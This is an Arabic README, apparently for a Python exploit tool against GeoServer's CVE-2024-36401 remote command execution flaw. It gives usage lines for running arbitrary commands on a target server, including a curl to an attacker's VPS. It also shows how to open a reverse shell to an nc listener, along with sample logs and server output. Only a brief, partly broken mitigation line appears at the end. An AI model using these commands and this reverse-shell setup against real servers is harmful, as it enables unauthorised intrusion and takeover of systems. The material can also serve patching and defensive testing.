
استغلال Python لـ "GeoServer"
CVE-2024-36401 هي ثغرة تنفيذ أوامر عن بُعد في GeoServer، حيث يمكن للمهاجم تنفيذ أوامر عشوائية دون إذن من خلال إنشاء طلبات WFS (خدمة الميزات الجغرافية) محددة.
pip install requestsتدعم الأداة وضعين: وضع cmd (تنفيذ الأوامر مباشرة) ووضع reverse (إنشاء شل ارتدادي).
افترض أن عنوان VPS هو 111.46.112.85، استخدم وضع cmd لتنفيذ أمر curl لاختبار ما إذا كان الخادم الهدف يمكنه الوصول إلى الشبكة الخارجية:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
طريقة التحقق: ابدأ خادم HTTP على VPS لاستقبال الطلبات
# 在 VPS 上执行
python -m http.server 8090
إذا تم استقبال معلومات الإرجاع بنجاح، سترى مخرجات مشابهة لما يلي:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
استخدم وضع reverse لإنشاء شل ارتدادي يتصل بـ VPS والمنفذ المحددين:
الخطوة 1: قم بإعداد منفذ استماع على VPS
# 在 VPS 上执行
nc -lvp 6666
الخطوة 2: قم بتشغيل أداة الاستغلال لبدء الاتصال الارتدادي
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
بعد التنفيذ، ستظهر الأداة مخرجات مشابهة لما يلي:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
في هذه المرحلة، إذا نجح الاستغلال، فسيستقبل مستمع nc على VPS جلسة الشل الارتدادية.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: وضع تنفيذ أمر واحدreverse: وضع الشل الارتدادي<target>: عنوان الخادم الهدف والمنفذ، الصيغة ip:port<command>: الأمر المراد تنفيذه على الخادم الهدف<vps_ip>: عنوان IP الخاص بخادم VPS<vps_port>: رقم المنفذ المستمع على VPSتستغل هذه الثغرة عيبًا أمنيًا في خدمة WFS في GeoServer عن طريق حقن كود Java في valueReference لتنفيذ أوامر النظام. تقوم الأداة بإنشاء حمولة XML تحتوي على كود ضار وإرسالها إلى واجهة WFS في GeoServer، مما يتيح تنفيذ الأوامر عن بُعد.
/geoserver/wfs إلى المحتوى المناسب.قم بتحديث GeoServer بانتظام إلى الإصدارات الأمنية الرسمية، واتبع أفضل الممارسات الأمنية لتكوين الخادم.